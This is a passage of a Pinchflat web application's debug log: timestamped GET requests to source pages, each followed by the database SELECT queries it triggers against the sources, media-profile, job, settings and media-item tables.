s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:44.646 [info] Sent 200 in 15ms 04:53:44.703 [info] GET /sources/30/ 04:53:44.703 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"id" => "30"} Pipelines: [:browser] 04:53:44.705 [debug] QUERY OK source="sources" db=0.6ms queue=0.1ms idle=71.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 04:53:44.706 [debug] QUERY OK source="media_profiles" db=0.5ms idle=71.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 04:53:44.707 [debug] QUERY OK source="tasks" db=0.5ms queue=0.1ms idle=71.9ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [30, "executing", "available", "scheduled", "retryable"] 04:53:44.708 [debug] QUERY OK source="oban_jobs" db=0.4ms idle=72.2ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [7280] 04:53:44.709 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=71.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:44.710 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=4.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:44.711 [debug] QUERY OK source="settings" db=0.2ms idle=4.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:44.716 [debug] QUERY OK source="sources" db=0.5ms idle=8.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 04:53:44.719 [debug] QUERY OK source="media_items" db=1.7ms idle=8.7ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [30] 04:53:44.724 [debug] QUERY OK source="media_items" db=4.2ms queue=0.1ms idle=9.9ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [30, 10, 0] 04:53:44.725 [debug] QUERY OK source="sources" db=0.6ms idle=14.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 04:53:44.726 [debug] QUERY OK source="media_items" db=0.4ms idle=14.3ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [30] 04:53:44.728 [debug] QUERY OK source="media_items" db=1.7ms idle=10.4ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [30, 10, 0] 04:53:44.732 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=12.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 04:53:44.735 [debug] QUERY OK source="media_items" db=1.8ms idle=9.1ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [30] 04:53:44.738 [debug] QUERY OK source="media_items" db=2.5ms queue=0.1ms idle=9.9ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [30, 10, 0] 04:53:44.742 [info] Sent 200 in 39ms 04:53:44.748 [info] GET /sources/30/ 04:53:44.748 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"id" => "30"} Pipelines: [:browser] 04:53:44.749 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=22.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 04:53:44.751 [debug] QUERY OK source="media_profiles" db=0.6ms queue=0.1ms idle=21.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 04:53:44.752 [debug] QUERY OK source="tasks" db=0.4ms queue=0.1ms idle=19.5ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [30, "executing", "available", "scheduled", "retryable"] 04:53:44.753 [debug] QUERY OK source="oban_jobs" db=0.4ms queue=0.1ms idle=17.8ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [7280] 04:53:44.754 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=15.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:44.755 [debug] QUERY OK source="settings" db=0.2ms queue=0.1ms idle=4.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:44.756 [debug] QUERY OK source="settings" db=0.3ms idle=5.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:44.761 [debug] QUERY OK source="sources" db=0.4ms idle=8.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 04:53:44.763 [debug] QUERY OK source="media_items" db=1.7ms idle=8.6ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [30] 04:53:44.766 [debug] QUERY OK source="media_items" db=2.3ms queue=0.1ms idle=9.9ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [30, 10, 0] 04:53:44.768 [debug] QUERY OK source="sources" db=0.5ms idle=12.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 04:53:44.769 [debug] QUERY OK source="media_items" db=0.4ms idle=12.0ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [30] 04:53:44.771 [debug] QUERY OK source="media_items" db=1.5ms idle=8.4ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [30, 10, 0] 04:53:44.774 [debug] QUERY OK source="sources" db=0.6ms idle=10.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 04:53:44.777 [debug] QUERY OK source="media_items" db=1.6ms idle=8.9ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [30] 04:53:44.780 [debug] QUERY OK source="media_items" db=2.5ms idle=9.8ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [30, 10, 0] 04:53:44.785 [info] Sent 200 in 37ms 04:53:44.789 [info] GET /sources/30/edit 04:53:44.789 [debug] Processing with PinchflatWeb.Sources.SourceController.edit/2 Parameters: %{"id" => "30"} Pipelines: [:browser] 04:53:44.791 [debug] QUERY OK source="sources" db=0.8ms queue=0.1ms idle=21.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 04:53:44.792 [debug] QUERY OK source="media_profiles" db=0.4ms queue=0.1ms idle=20.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 ORDER BY m0."name" [] 04:53:44.793 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=18.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:44.794 [debug] QUERY OK source="settings" db=0.3ms idle=16.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:44.795 [debug] QUERY OK source="settings" db=0.2ms queue=0.2ms idle=14.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:44.799 [info] GET /sources/31/ 04:53:44.799 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"id" => "31"} Pipelines: [:browser] 04:53:44.801 [debug] QUERY OK source="sources" db=0.8ms queue=0.1ms idle=8.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 04:53:44.802 [debug] QUERY OK source="media_profiles" db=0.6ms idle=9.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 04:53:44.803 [debug] QUERY OK source="tasks" db=0.5ms idle=9.3ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [31, "executing", "available", "scheduled", "retryable"] 04:53:44.804 [debug] QUERY OK source="oban_jobs" db=0.5ms queue=0.1ms idle=9.5ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [7287] 04:53:44.805 [debug] QUERY OK source="settings" db=0.3ms idle=9.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:44.806 [debug] QUERY OK source="settings" db=0.3ms idle=4.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:44.807 [debug] QUERY OK source="settings" db=0.3ms idle=4.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:44.807 [info] Sent 200 in 18ms 04:53:44.810 [debug] QUERY OK source="sources" db=0.3ms idle=7.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", 